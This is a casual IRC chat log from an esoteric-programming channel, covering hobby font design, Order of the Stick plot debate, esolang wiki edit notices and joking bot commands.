02:37:43  From that image I posted, you can see everything except the source code (which is on GitHub)
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02:38:00  The entirety of all existing fonts AND the editor in all its glory
02:38:09  With the "g" character open for editing
02:39:05  your "m" is a little bit un-m-like :P
02:42:32 <\oren\> hppavilion[1]: looks like https://en.wikipedia.org/wiki/Futura_%28typeface%29
02:42:55  boily: Filler character xD
02:43:02  I'm actively working on the m really
02:43:07  It's really hard to do
02:43:49 <\oren\> I like geometric sans-serif fonts
02:44:10 -!- llue has quit (Quit: That's what she said).
02:44:13  you start with a stroke, then add curves, then strokes, then adjust, then adjust, then why won't it fit, then adjust, then tweak...
02:44:18  boily: NOW I have an m. It looks awful and unbalanced, but it's certainly legivle
02:44:53  \oren\: I'm glad it at least doesn't look like Comic Sans xD
02:44:55  `? legivle
02:44:55  oerjan: did you read that pdf twh
02:44:55  legivle? ¯\(°​_o)/¯
02:45:19  \helloren\, hellochaf, HellockEgo.
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03:00:38  hppavilion[1]: is your system based on metafont-style paths?
03:01:08  adu: No clue
03:01:48  hppavilion[1]: it's when you use paths with a line-width instead of the traditional outline
03:01:56  adu: Ah
03:02:30  it looks like you're using fixed line-width
03:05:27  shachaf: which pdf twh
03:05:45  olistth
03:06:04  no, i'm still backlogged.  perhaps more than when i got it.
03:07:18  i have however got a new version of it, as well as an offer of yet another one which i ignored when i realized it required login.
03:08:57 * oerjan checks oots just in case
03:11:05  adu: No, you can use the `size` command to change line width
03:11:17  (It's a bit turtly, but only because of that)
03:11:37  oerjan: you have a practically unlimited ootschive ahead of you
03:11:56  okay?
03:12:03  I think that the TFM/PK format are good for printer fonts, you can use METAFONT to generate it for the specific printer
03:13:06  hppavilion[1]: you've just reimplemented metafont
03:13:27  adu: Really?
03:13:28  Cool
03:15:32  Mine is going to support nondeterministic characters though :)
03:16:03  You'll be able to have, for example, the tidle of a character be just /roughly/ above it to make your fonts look more human if you so desire
03:17:03  tidle?
03:17:13  or tilde?
03:17:31 -!- oerjan has quit (Quit: tithe).
03:19:53 -!- adu has quit (Quit: adu).
03:27:40  @tell adu I meant tidle. Tidle is the dot above an i or j
03:27:40  Consider it noted.
03:42:35 <\oren\> hmm. a font that has simulated human error. that's pretty damn cool.
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03:45:29  On the other hand, fonts like to be cached.
03:45:45  Hmm, a random font based on geometry shaders
03:47:00  Oh no
03:47:04  I just got to G
03:47:37  Jafet: Not sure how to cache it with my current setup, so...
03:48:28  \oren\: Thank you :)
03:51:21  METAFONT is capable of doing random numbers, although that is decided at compile-time of the font. But, you could make more than 256 character and then use a postprocessor to randomize the high 24-bits of the character codes in the output file, and now you can randomize individual characters by 24-bits.
04:05:25  TRIPLE-STORY g!
04:05:58  zzo38: 256? Hahahahahaha. Unicode or nothing.
04:10:49  I just remembered if I do unicode I'll have to code in combining diacritics
04:11:04  I'm not sure whether to *gulp* or to "yay!".
04:11:43  Maybe you should yulp.
04:11:57  *Yulp!*
04:12:03  Have a gay time.
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05:11:39  I'm trying to decide whether to use a dotted or slashed zero
05:11:41  ...
05:11:43  What a boring issue
05:18:16  [wiki] [[WTFZOMFG]]  http://esolangs.org/w/index.php?diff=45115&oldid=36296 * 108.213.218.145 * (-1) 
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06:46:10  The 5 and 6 look a little lopsided, but otherwise the numbers are great
06:46:23  I should've done 32*64 characters instead of 14*28
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07:03:51 <\oren\> hppavilion[1]: a variety of aspect ratios exist for fixed-width fonts
07:04:25  Of course
07:05:06  But I started by maknig mine 14*28 for some reason then realized after completing all of the lowercase letters and many uppercase I should've gone with 32*64
07:05:11  Or 16*32, I mean
07:05:25  Because 16 and 32 divide by 2 more times
07:05:53  I'm on & and it is evil
07:06:21 <\oren\> I used a nonstandard appearance for &
07:06:40  Such as?
07:07:09 <\oren\> I made it a "C" with a slash down from the middle, across the lower limb
07:08:13 <\oren\> http://www.orenwatson.be/fontdemo.htm <-- here it's above F on the first row of the ASCII section
07:08:49  Ugh, my ampersand looks awful
07:08:53  But good enough
07:11:49  oooh heart variations for me
07:11:57  how cute <3
07:13:03  It seems that I've completely forgon character encoding in my fonts
07:13:20  do chinese characters come in two different sizes?
07:13:35 <\oren\> No
07:13:52 <\oren\> there's no capital oand lowercase chinese
07:14:21  then my browser is drawing them incorrectly?  http://i.imgur.com/jqTC165.png
07:15:17 <\oren\> Nah, that's my fault
07:15:48 <\oren\> Some of the chinese characters in my font have their widths set to 16 pixels instead of the correct 18 pixels
07:15:54  Should I break monospace for arrows?
07:16:07  If I do, I'll probably make them double-width
07:16:11 <\oren\> I'll correct it in the next release
07:16:30  (so EXACTLY 56 characters wide)
07:16:45  \oren\: ah, so that's why they were shifted!
07:17:16  \oren\: meanwhile, I'm still asking for the hundred kanji, as well as vertical versions of the long vowel sign, full stop, and comma.
07:17:34  you should generate the preview dynamically
07:18:36 <\oren\> izabera: I'll do that, uh... sometime 
07:19:06 * b_jonas waves
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07:20:09  oh, and there was one more. \oren\: add \x{3000}
07:20:29 -!- heroux has joined.
07:20:39 <\oren\> b_jonas: got it. 
07:20:44  [wiki] [[CASTLE]]  http://esolangs.org/w/index.php?diff=45116&oldid=45082 * Quintopia * (+3780) Added randomness, negation and REDGREEN example
07:21:55  IIt's funny how Unicode supports braile
07:22:22  \oren\: oh, have you silently fixed ⟦⟧ ?
07:22:29  hppavilion[1]: unicode _partly_ supports braille
07:26:46 <\oren\> Oh, yeah I did
07:29:34  great
07:29:53  I'm saying \x{3000} because although it's not very common, it's also not hard to draw
07:31:06  "百" is way more common
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07:45:35 <\oren\> Updated!
07:46:02  \oren\: I would like your opinion on whether I should break monospace and add double-width characters for nice looks, or preserve monospace at all costs
07:46:48  (This is the only font I'm making for the forseeable future, so this WILL be used in consoles and such, but the only characters that will be doublewidth are arrows and such)
07:49:02 <\oren\> Ok, somehow the width problem is now only happening in chrome and not firefox?!
07:49:07 <\oren\> RRGH
07:56:05 <\oren\> FUUUUUUUUUUU
07:56:21 <\oren\> I figured it out, this is soooo STUPID
07:56:54  \oren\: what
07:57:10  also, thanks
07:59:03 <\oren\> basically, the TTF's I've been generating have been corrupted becouse they have a "width in points" used by chrome, independent from the "width in pixels" that is used by sane programs
07:59:24 <\oren\> and that width is all over the place
08:00:32 <\oren\> I can probably use perl to regenerate the "SWIDTH" though
08:01:05  \oren\: great
08:01:30  \oren\: currently I see characters in the kanji block last line of the demo page that aren't in your font thouhg
08:01:41  but I'm glad you added the hundred
08:01:59 <\oren\> seriously fuck graphic designers with this fucking inconsistent "DPI" and "points" units
08:02:02  and some of hte punctuation
08:19:46  There is no upper- or lower-case in han script, but there is 简体 and 繁體.
08:22:10  Jafet: and they are not really interchangable in the same context like upper- and lower-case in latin scripts.
08:23:33 <\oren\> I should make some images of what text looks like in my font (like, real text)
08:35:46 <\oren\> here's an example of a russian passage: http://www.orenwatson.be/russian.png
08:41:48  Why is s rendered as ʃ?
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08:45:57 <\oren\> it is rendered in that shape because that's how I handwrite it
08:46:53 <\oren\> (the characters s and ʃ are different in my font. ʃ is taller)
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09:34:13  \oren\: yes, me too, I should make images of nice selections of sample text rendered in my font,
09:34:19  and also images showing all the characters
09:34:34  but I keep postponing this
09:36:35  I even have good candidates for what natural language text to show, but it's much harder to find representative program code or similar that shows off all the ascii punctuation characters nicely.
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10:04:25  `wisdom
10:04:26  brainfuck/brainfuck is the integral of the family of terrible esolangs.
10:04:28  `wisdom
10:04:30  nih/NIH was /not/ invented by Taneb.
10:04:34  `wisdom
10:04:35  wlcom/Hi! This is a chat about unusual programming tools. For additional info, visit our wiki: . (For unusual things of a contrasting sort, try http://bit.ly/19k9nf8.)
10:04:39  `wisdom
10:04:41  composition/composition is where you take morphisms such as Phantom and Hoover from the Pha category and combine them together: Hoover ∘ Phantom.
10:04:47  `wisdom
10:04:48  wise/Uninstalling software installed by the Wise Installation Wizard is unwise. It's neither clockwise nor counterclockwise nor otherwise.
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10:22:15  RING THE OBELL!
10:22:21  SOMEONE RING THE OBELL!
10:27:22  shachaf, or whoever usually does this, please ring the obell
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10:53:31  [wiki] [[Special:Log/newusers]] create  * Skwerlman *  New user account
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11:48:56  boily: ring the obell
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12:14:25 * boily rings the obell
12:14:37  `? obell
12:14:37  obell? ¯\(°​_o)/¯
12:15:02  The ringing of the division bell had begun.
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14:07:26  `olist 1011
14:07:27  olist 1011: shachaf oerjan Sgeo FireFly boily nortti b_jonas
14:07:44  finally
14:08:18  with like two hours of delay
14:08:27  well i didn't notice it in the logs before because you didn't ping me. have you considered `olist?
14:08:42  oerjan: you weren't here
14:08:57  you'd still have saved an hour.
14:08:58  oerjan: you joined like an hour ago
14:09:03  And thus I confirm that IFTTT is better than it claims to be in regards to RSS processing.
14:09:05  I didn't notice you enter, because I was busy
14:09:15  It claims it needs RSS feeds to have a GUID. It does not.
14:09:34  it's Friday and I'm working and writing emails about crazy security bugs
14:09:42  hi
14:09:54  and about a buggy attepmt to fix it
14:09:56  sup sgeo
14:10:05  b_jonas: there are no bugs, they're just out to get you hth
14:10:26  there are bugs
14:10:33 <\oren\> it's not a bug if they really are out to get you
14:10:36  oerjan: no, there _are_ bugs, but they're trying to tell me there are none to get me
14:10:51  \oren\ understands
14:10:52  bugs in your bedroom, on your phone line, on your computer...
14:11:09  they replied to my first report saying that it's not a bug
14:11:18  see?
14:11:25  I had to write a second report till they believed it
14:11:34  they still didn't acknoledge it was a bug, mind you
14:12:29  feature request then
14:14:47 <\oren\> New feature request for OpenSSH: make it so my enemies can't take my passwords.
14:16:47  they'll never add that feature.
14:17:00  its outside the scope of openssh
14:17:06  \oren\: that's not a feature request. that's http://www.xkcd.com/1086/
14:17:32 <\oren\> I think i've fixed the chinese character wodths btw
14:17:40 <\oren\> s/wodth/width
14:18:02 <\oren\> yeah looks fixed in both chrome and fireofx
14:18:14  why? trying to use sclipting?
14:18:22  \oren\: great
14:18:48  \oren\: in the demo page, why are some of the Latin Extended still green?
14:19:43 <\oren\> whoops
14:20:15  oh, you added \x{3000}, I just didn't notice it because it wasn't obviously green. great!
14:20:47  \oren\: ok, now I'd still like a vertical writing version of the kana long vowel sign
14:21:43  what demo page?
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14:22:36  \oren\: less importantly, "ゝ" and "ゞ" 
14:22:51  \oren\: also "〱"
14:23:07  but those are weird symbols. the vertical version of the long vowel sign is actually important.
14:23:26  there's also "〲"
14:23:37 <\oren\> quintopia: http://www.orenwatson.be/fontdemo.htm
14:24:10 <\oren\> it's a page ostensible containing every character in my font sorted into catagories
14:25:15 <\oren\> there's about 5200 characters in the font
14:25:38  why font
14:25:46  \oren\: and, I might not be familiar with the subtleties here, but isn't the bopomofo letter "ㄧ" supposed to be a horizontal line, similar in appearance to "一" ?
14:25:58 <\oren\> quintopia: why not font?
14:25:59  in your font it appears as a vertical line
14:27:06 <\oren\> oh.
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14:28:30  \oren\: also, weren't you planning to do the halfwidth Hangul letters at some point?
14:28:42  it shouldn't be hard because there's only a few dozen
14:29:05  about 50 or 60 or something
14:33:14  b_jonas: "ㄧ" is vertical in my terminal
14:33:29  oerjan: maybe it can be vertical then, I don't know
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14:33:44  Writing systems: what are they good for, really? 
14:33:56  fungot: Is your code written horizontally or vertically? 
14:33:56  fizzie: fnord ( b) on the mtv fnord seal the deal on what the second tombolo looked like 100 years ago should attract such nonsense. mormons need to wake up to the sharks and makes them run and hide, constantly chases the tiger barbs, and fnord
14:34:01  its horizontal here
14:34:26  ^style
14:34:26  Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp* youtube
14:34:35  fizzie: they are good for propaganda and lawyers
14:34:53  fungot: What's your opinion on edit wars? 
14:34:54  fizzie: a native american tribe, and i'm quite pleased with the result. graphs and charts were messed up and it seemed to be useful: " egypt became a powerful modernized, industrial force in the middle ages: western europe'
14:35:06  Ah, the native American Edit War tribe.
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14:36:18 * oerjan sees an obvious last moment solution in oots, if the right priest/god were willing to consider it (maybe heimdall)
14:37:28  oerjan: the obvious solution is that priests just suck it up and break the rules of the godsmoot openly afterall, because if the world is destroyed, it doesn't matter anymore
14:38:05  i meant a solution that doesn't break the rules.
14:39:05  also, if the rules are broken, the gods that disagree with the result might go to war, or something.
14:39:41  oerjan: well, one solution is still to just kill the vampire
14:39:45  s/kill/destroy/
14:40:04  well, sure, but only roy can do it and no one can help him
14:40:47  but what i'm thinking of is this - the rules forbid taking back votes, but they're still annulled if the priest dies...
14:41:03  so it just requires one suicide.
14:41:33  oerjan: that won't work. not without breaking rules here. the high priests are representing the gods here, who are ordering them to act on their behalf, including voting.
14:41:44  they can't suddenly disobey their gods.
14:41:54  not their own gods that is.
14:42:01  why would a high priest do that?
14:42:33  someone else killing a priest, possibly disguised as an unfortunate accident, sure, that could work. but suicide? no way.
14:44:00  b_jonas: because some of the gods, like heimdall, now desperately wish they _could_ change their vote.
14:44:19  oerjan: no, I don't think gods are now thinking that.
14:44:40  oerjan: that's just what the fans are thinking, not what the gods are thinking.
14:44:59  I for one don't think any of the gods want to change their rules.
14:46:08  b_jonas: http://www.giantitp.com/comics/oots1001.html
14:46:26  it's the gods conversing there.
14:46:57  and i said vote, not rules
14:47:34  oerjan: hmm, maybe, but I don't think the rise of Hel to more power is such a big problem for the gods. Hel would suddenly go from about 0 souls to about 12e6 souls. that's a big deal for Hel clearly, but not that much in the grand scheme of things, when the other gods already have like 1e8 souls or more, and there are 20 other gods around.
14:47:48 -!- J_Arcane has quit (Read error: Connection reset by peer).
14:48:08  But even if Heimdall really wanted to change his vote, he can't now, so it doesn't matter.
14:48:22 -!- J_Arcane has joined.
14:48:31  He can't even order his priest to suicide, because that would amount to changing his vote, and breaking the rules, so the gods would turn against her.
14:48:34  him.
14:48:36  whatever.
14:48:43  b_jonas: http://www.giantitp.com/comics/oots1000.html, panel 12, second bubble
14:49:17  although perhaps Hel is too optimistic.
14:49:28  oerjan: yes, Hel does say "Queen of the Northern Pantheon", but I don't believe in that
14:49:32  he is too optimistic
14:49:38  she would _still_ gain a lot from this
14:49:42  so it might be worth for hre
14:49:50  and she can't stop gloating
14:49:59  I can excuse some hyperboles
14:51:13  oerjan: also, in #1001, Heimdall doesn't even say anything. only Loki speaks.
14:51:40  Hel assuming that Heimdall wants to change his vote might be wrong
14:52:45  "she", hel is  goddess
14:52:51  um
14:53:17  > compare (10e8/20) 12e6
14:53:19   GT
14:53:20 -!- lleu has joined.
14:53:20 -!- lleu has quit (Changing host).
14:53:20 -!- lleu has joined.
14:53:25  oops
14:53:34  > compare (1e8/20) 12e6
14:53:38   LT
14:53:46  there you go
14:54:05  oerjan: um no, you're comparing the wrong awy
14:55:20  I meant that each god has 1e8 soul, though that might be a bit too much, considering that dwarves live for 200 years and this world might not have existed for so long
14:55:46  well we've not established the total population of the world have we
14:56:31  > 12e6*20
14:56:34   2.4e8
14:56:49  And about Heimdall, he gave a speech where he explains that he's totally afraid of "the danger of which we dare not speak" is so important that he has to ignore the comparatively smaller losses like all their followers' bodies. 
14:57:04  that was bodies, not souls.
14:57:15  I don't think even Hel becoming Queen of the Northern Pantheon would make him change his mind, because the danger is still worse than what Hel could do as a Queen
14:57:42  Hel would still be bound by the laws the gods and pantheons made among themselves, the danger probably doesn't.
14:57:54  Sure, it's just bodies, but still
14:58:06  Though...
14:58:24  yeah, you have a point, he also says "but their souls will pass on to our respective realms as normal."
14:58:52  oerjan: we don't know how old the world is, nor whether there are many dwarves compared to other races, such as humans
14:59:10  Or the exchange rate between dwarf souls and human souls
14:59:37  1e8 souls per god means 2 billion population for the whole world, which is way above mideval levels.
15:00:10  *medieval
15:00:20  oerjan: it's not 2 billion population. that includes all the old souls who'd died centuries ago
15:00:24  Hel got very little of those
15:00:25  oh hm
15:00:34  right
15:04:15  anyway, it's rather narratively unlikely that the world is really going to end at this point, so it's just a matter of how rich burlew resolves it.
15:04:26  Plus, if the world is destroyed, Thor and Loki might start arguing to rationalize why the dwarves did die in honor afterall, if they were sacrificed as the only solution to protect their gods of a great unknown danger.
15:06:17  that would be just like them.
15:06:37  it was a pretty shitty way to treat Hel from the start.
15:07:05  even if the retribution is disproportional.
15:08:00  of course, she'd probably been an asshole in advance to make them come up with it.
15:09:15  I'm not sure anyone "came up with it". The gods needn't have known that dwarves would live such an honorable life when they created the world and its races.
15:09:37  heh
15:09:53  Really. I mean, the other races aren't all like that.
15:10:27  except durkon talked about dwarves ending their lives in honorable battle with conifers.
15:10:51  oh hm is that that tree thing again
15:11:46  yeah. maybe the other Northern gods were just more successful in motivating dwarves to live an honorable life until their death than Hel was in motivating the dwarves to live a life of sin.
15:11:58  I don't really know the backstory there.
15:12:29  no, i mean, that's pretty cop out way of getting an "honorable" death.
15:12:48  oerjan: sure it is
15:24:23  gods gods gods
15:33:22  > -(2^63)
15:33:24   -9223372036854775808
15:36:13  ooh list
15:36:48  b_jonas: oerjan presumably logreads or at least loggreps so his absence should not preclude you from olisting hth
15:37:29  so next time I should simply ask oerjan if I'd like the next strip to appear?
15:45:33 -!- Sprocklem has quit (Ping timeout: 255 seconds).
15:46:14 -!- mroman has joined.
15:46:17  fnörd
15:46:24  @massages-load
15:46:24  oerjan said 17h 20m 2s ago: see logs
15:46:24  oerjan said 16h 38m 53s ago:  That sounds very pejorative. <-- it's the actual haskell motto hth
15:46:25  is there anything preventing what's-his-name from killing the yellow-hair halfling?
15:46:47  i guess it's too late now that the demigod priests have already ben fetched
15:47:34  also today's olist is clearly alluding to smlist
15:47:52  `smlist 431
15:47:52  smlist 431: shachaf monqy elliott mnoqy
15:48:03 -!- Sprocklem has joined.
15:48:07  (it's alluding to 109)
15:48:23  `? smlist
15:48:23  smlist? ¯\(°​_o)/¯
15:48:31  super mega comics
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16:02:52  shachaf: the halfling is the high priest of balder, so yes.
16:03:07  http://www.giantitp.com/comics/oots0999.html
16:03:38  oh, right
16:03:49  i thought they sent some other person for some reason
16:03:56 -!- J_Arcane has quit (Ping timeout: 263 seconds).
16:06:10  isn't it crazy that a god of beauty is called Balder? does that mean balder elves are more beautiful than hairy ones?
16:10:02  b_jonas: "bald" originally meant "white spot", and the name Balder may mean "the white one"
16:12:00  and then boulder dash was born
16:15:04  wiktionary's entry on balderdash says "Unknown, possibly from the early English drink of wine mixed with beer or water or other substances that was sold cheaply."
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17:54:21  hu
17:54:29  I thought more specific css rules overwrite less specific
18:03:05  how can I set the title of the generated .html with pandoc?
18:03:30 -!- hppavilion[1] has joined.
18:03:43  ah
18:03:44  title
18:03:44  ok
18:03:56  \oren\: I never got your opinion on preserving monospace
18:04:21  but that's just a prefix
18:04:24  not the actual title
18:04:25  wtf
18:05:14  I enjoy giving partial explanations
18:05:26  "Why do you have a cake?" "It was my birthday last Tuesday"
18:06:53  damn. now it includes a header div
18:06:54  well
18:09:37  [wiki] [[User:-Dark-Phantom-]] M http://esolangs.org/w/index.php?diff=45117&oldid=45113 * -Dark-Phantom- * (+42) 
18:10:29  Trivia: if you multiply -Dark-Phantom- with Phantom_Hoover, you get Dark Hoover
18:11:25 -!- mroman has quit (Quit: Lost terminal).
18:12:01  [wiki] [[User talk:-Dark-Phantom-]] M http://esolangs.org/w/index.php?diff=45118&oldid=45114 * -Dark-Phantom- * (+74) 
18:12:29  Actually that might be division
18:12:41  I've just had a seminar on the simplex algorithm
18:12:47  These things get confusing
18:19:00  \oren\ clearly isn't really online
18:19:29  Anyone have an opinion on this?
18:19:59  I give up
18:20:05  \oren\ may be using a bouncer
18:20:10  I'll just make the wide characters doublespace
18:27:45  Taneb: wouldn't you either get Dark Phantom² Hoover or Dark/Hoover?
18:28:56 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
18:34:24  Isn't what Taneb mentioned the symmetric difference of -Dark-Phantom- and Phantom_Hoover?
18:35:40  or would that be -Dark--_Hoover?
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19:14:47  web.refresh: points -9.19, score 13.38, rank 45/47
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19:44:02  [wiki] [[User:-Dark-Phantom-/DStack]] N http://esolangs.org/w/index.php?oldid=45119 * -Dark-Phantom- * (+3096) Under construction...
19:55:23  [wiki] [[Brian & Chuck]] N http://esolangs.org/w/index.php?oldid=45120 * Martin Büttner * (+4089) Created page with "'''Brian & Chuck''' is an esoteric programming language with two mutually modifying Brainfuck-like programs developed by [[user:Martin Büttner]]. The language was remotely in..."
19:55:53  [wiki] [[Brian & Chuck]] M http://esolangs.org/w/index.php?diff=45121&oldid=45120 * Martin Büttner * (+0) 
20:00:18  [wiki] [[Brian & Chuck]]  http://esolangs.org/w/index.php?diff=45122&oldid=45121 * Martin Büttner * (+205) formatting and examples
20:05:27  [wiki] [[Hello world program in esoteric languages]]  http://esolangs.org/w/index.php?diff=45123&oldid=45102 * Martin Büttner * (+262) add Hexagony and Brian & Chuck
20:07:34  [wiki] [[User:Martin Büttner]]  http://esolangs.org/w/index.php?diff=45124&oldid=44230 * Martin Büttner * (+141) add Brian & Chuck
20:08:27  [wiki] [[Language list]]  http://esolangs.org/w/index.php?diff=45125&oldid=45083 * Martin Büttner * (+20) /* B */ add Brian & Chuck
20:08:53  [wiki] [[Language list]]  http://esolangs.org/w/index.php?diff=45126&oldid=45125 * Martin Büttner * (+16) /* M */
20:13:16  [wiki] [[User:-Dark-Phantom-/DStack]]  http://esolangs.org/w/index.php?diff=45127&oldid=45119 * -Dark-Phantom- * (+550) /* Instructions */
20:17:55 -!- drdanmaku has quit (Quit: .).
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21:06:36 -!- Patashu has joined.
21:06:49  https://github.com/chrissimpkins/codeface  oooh
21:10:22  I thought the wine shop sign said they're selling "mouse wine", but it was just a very hastily drawn H.
21:15:54  I had an awesome idea
21:15:59  Anonymous While Loop
21:17:18  x = while()
21:17:27  start x {...}
21:36:03 -!- Sprocklem has joined.
21:48:18  what's the difference to x = function() { ... }; while(x()) { ... }?
21:50:11  myname: Well, you can call the same while loop repeatedly, and there could be some sort of function that modifies the while loop before calling
21:50:11  it
21:51:01  as you can do with an anonymous function
21:52:14  myname: You can, but this syntax is more eso.
21:53:10 -!- conehead has changed nick to cnr.
22:01:30  draft plan on where I'm considering to put extra letters on my keymap => http://www.math.bme.hu/~ambrus/pu/keymap.html
22:01:40 -!- scoofy has quit (Quit: Lost terminal).
22:02:31 -!- scoofy has joined.
22:02:31  go find the problems with it
22:05:28 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
22:05:56  \oren\: ^
22:06:46 -!- hppavilion[1] has joined.
22:09:18  [wiki] [[User:-Dark-Phantom-/DStack]]  http://esolangs.org/w/index.php?diff=45128&oldid=45127 * -Dark-Phantom- * (+1366) /* Instructions */
22:11:16 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
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22:35:32  I think that CSS should allow priority to be explicitly set for rules, and that user settings are allowed to set the maximum/minimum priorities for CSS from different sources, and then the normal CSS priority rules apply in case of conflict
22:36:26  (So that user CSS has unlimited range of priority, while webpages have a limit)
22:39:41  (Also it would help to allow to select based on rules and select a parent element containing a matched child; this is mainly helpful in user CSS)
22:40:07  write to the consortium
22:41:44 -!- Sprocklem has joined.
22:56:07 -!- boily has joined.
22:57:40  [wiki] [[User:-Dark-Phantom-/DStack]]  http://esolangs.org/w/index.php?diff=45129&oldid=45128 * -Dark-Phantom- * (+1142) /* Instructions */
22:59:21 -!- Phantom_Hoover has joined.
23:02:00  [wiki] [[User:-Dark-Phantom-/DStack]]  http://esolangs.org/w/index.php?diff=45130&oldid=45129 * -Dark-Phantom- * (+99) 
23:08:38  [wiki] [[User:-Dark-Phantom-/DStack]]  http://esolangs.org/w/index.php?diff=45131&oldid=45130 * -Dark-Phantom- * (+258) /* Comments */
23:13:59  [wiki] [[User:-Dark-Phantom-/DStack]]  http://esolangs.org/w/index.php?diff=45132&oldid=45131 * -Dark-Phantom- * (+137) 
23:18:00 * boily pokes hppavilion[1] with a felt-tip mapole
23:18:14  *poke poke poke* *poke* *poke poke* *poke poke*
23:18:45  [wiki] [[User:-Dark-Phantom-/DStack]]  http://esolangs.org/w/index.php?diff=45133&oldid=45132 * -Dark-Phantom- * (+162) /* Execution */
23:19:01  a soft mapole? sounds like an oxymoron
23:19:07  boily: Hi boily
23:19:08  `? boily
23:19:19  boily is monetizing a broterhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He's also a NaniDispenser, a Trigotillectomic Man Eating Chicken and a METARologist. He is seriously lacking in the f-word department.
23:19:34  boily: You should create a page on Mapoles in your userspace. Or did I do that already in mine? If it's in mine, you should add more information to it
23:20:04  it appears that trigotillectomic is a made up boilyword
23:20:33  hellolsner. I made that word?
23:21:07  hppavilion[1]: adding infos to the wiki is something I do, yes, but extremely rarely.
23:21:51  boily: I get 4 hits on google, three of them are that wisdom entry, the fourth is one of your chickeny quit messages
23:22:10  neat!
23:22:44  probably one of my bests boilywords.
23:23:27  it does remind me of trichotillomania though
23:24:00  `? trigotillectomic
23:24:01  trigotillectomic? ¯\(°​_o)/¯
23:24:05  `? trigotillectomy
23:24:06  trigotillectomy? ¯\(°​_o)/¯
23:25:42 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
23:29:29  Hmm no, this won't work. control+caps-lock+a and control+caps-lock+e are also ahrd to press. I'll have to rethink this whole conception.
23:31:13  b_jhellonas. working on your layout?
23:33:18  [wiki] [[User:-Dark-Phantom-/DStack]]  http://esolangs.org/w/index.php?diff=45134&oldid=45133 * -Dark-Phantom- * (+3508) /* Examples */
23:33:49  Phantom_Helloover. Thinking of adding a `le/rn?
23:45:32  [wiki] [[DStack]] N http://esolangs.org/w/index.php?oldid=45135 * -Dark-Phantom- * (+10318) Almost complete :D
23:46:45  [wiki] [[User:-Dark-Phantom-]]  http://esolangs.org/w/index.php?diff=45136&oldid=45117 * -Dark-Phantom- * (-38) 
23:51:23  [wiki] [[DStack]]  http://esolangs.org/w/index.php?diff=45137&oldid=45135 * -Dark-Phantom- * (-15) 

2015-11-07:

00:00:58 -!- hppavilion[1] has joined.
00:01:07  boily: Oh :/
00:01:43  I had an idea while walking home
00:03:44  what was the idea?
00:04:47 <\oren\> hi boily!
00:05:19  \helloren\!
00:05:31 <\oren\> i'm on my phone!
00:05:40  [wiki] [[Talk:DStack]] N http://esolangs.org/w/index.php?oldid=45138 * Hppavilion1 * (+238) 32 bit machines
00:05:59  boily: TOPL. Train-Oriented Programming Language.
00:06:17  [wiki] [[Talk:DStack]] M http://esolangs.org/w/index.php?diff=45139&oldid=45138 * Hppavilion1 * (+95) Signed
00:06:54  \oren\: that's slereah's schtick, to be on a phone.
00:06:54 -!- oerjan has joined.
00:07:02  `? slereah
00:07:03  slereah? ¯\(°​_o)/¯
00:07:16  huh. I thought I had something phony about him...
00:07:42  hppavilion[1]: what kind of train? diesel, electric, maglev?
00:07:50  he's french, is that phony enough?
00:07:51  boily: Doesn't matter. Abstract trains, really.
00:08:01  (hoily)
00:08:09  I'm not a train fanatic, but suddenly I am in love with this idea
00:08:25  I'm quasifrench. maybe téléphonesque?
00:08:28  (hellœrjan)
00:08:29  It's a declarative language that executes on a sort-of-directed graph
00:08:39 <\oren\> im sshing to my computer
00:08:50  (Or maybe imperative. Somewhere in between)
00:08:59  semimperative.
00:09:15  boily: Basically
00:09:17  the Wisdom PDF has “He's on a phone!” about Slereah.
00:09:32  `culprits wisdom/slereah
00:09:34  No output.
00:09:43  seems to never have existed
00:10:03  It's kind of like Stare, where imperative instructions are executed upon declarative conditions
00:10:17  `rm test
00:10:18  rm: cannot remove `test': No such file or directory
00:10:21 <\oren\> how do you screenshot on android again?
00:10:22  I might also add Telegraph to it
00:10:22  `culprits test
00:10:24  int-e oerjan oerjan oerjan oerjan oerjan oerjan oerjan oerjan oerjan oerjan oerjan oerjan Lyrissa mroman_ mroman_ mroman_ mroman_ Hjulle oerjan oerjan elliott oerjan blotter blotter blotter oerjan oerjan oerjan oerjan oerjan Roujo oerjan oerjan oerjan oerjan ais523 ais523 oerjan shachaf elliott FreeFull oer
00:11:15  `test
00:11:15  No output.
00:11:16  `` ls wisdom/*lere*
00:11:18  ls: cannot access wisdom/*lere*: No such file or directory
00:11:19  `? test
00:11:20  test failed. HackEgo-JUnit is not available.
00:11:46  mroman_mroman_mroman_mroman
00:12:36  \oren\: hold down power and home at the same time. or volume down and power. or volume down and home.
00:13:09  `learn Slereah est sur un téléphone
00:13:12  Learned 'slereah': Slereah est sur un téléphone
00:13:16  blotter?
00:13:51  En effet. D'ailleurs, parlant de Slereah, y'est rendu où?
00:15:02 * oerjan ran that through GT and still doesn't know what boily is asking
00:15:53  “Indeed. Moreover, speaking about Slereah, where is he?”
00:16:13  not so bad. GT is improving!
00:16:18  argh stupid tunes doesn't reload when i revisit the tab
00:17:38  boily: he used to be in france...
00:18:08  he's on the network
00:20:22   I enjoy giving partial explanations <-- in the interest of discouraging partiality, why didn't you eat it yet twh
00:20:58  hm he might be asleep
00:22:00 <\oren\> http://www.orenwatson.be/androidscreenshot.png
00:23:43  \oren\, remove the last line of your homepage imho
00:24:03  [wiki] [[Talk:DStack]]  http://esolangs.org/w/index.php?diff=45140&oldid=45139 * SuperJedi224 * (+147) 
00:24:16  [wiki] [[Talk:DStack]]  http://esolangs.org/w/index.php?diff=45141&oldid=45140 * SuperJedi224 * (-1) 
00:26:19 <\oren\> Phantom_Hoover: why ?
00:26:35  @ask Taneb are you asleep?
00:26:35  Consider it noted.
00:26:41  because it's pointless, who cares what you made your website to look good on
00:26:58  ok sorry i don't want to be an asshole about it
00:27:15  but the rest of the page is fine and it's obvious what you were going for with the design
00:27:53 <\oren\> good point if you can see the text then...
00:28:45  [wiki] [[User talk:Ais523]]  http://esolangs.org/w/index.php?diff=45142&oldid=42222 * -Dark-Phantom- * (+435) /* Page removal request */ new section
00:28:59  \oren\: you should add a gopher version of you website.
00:31:05 <\oren\> lol sure why not
00:32:04  [wiki] [[User talk:Ais523]]  http://esolangs.org/w/index.php?diff=45143&oldid=45142 * Hppavilion1 * (+254) Advised on question
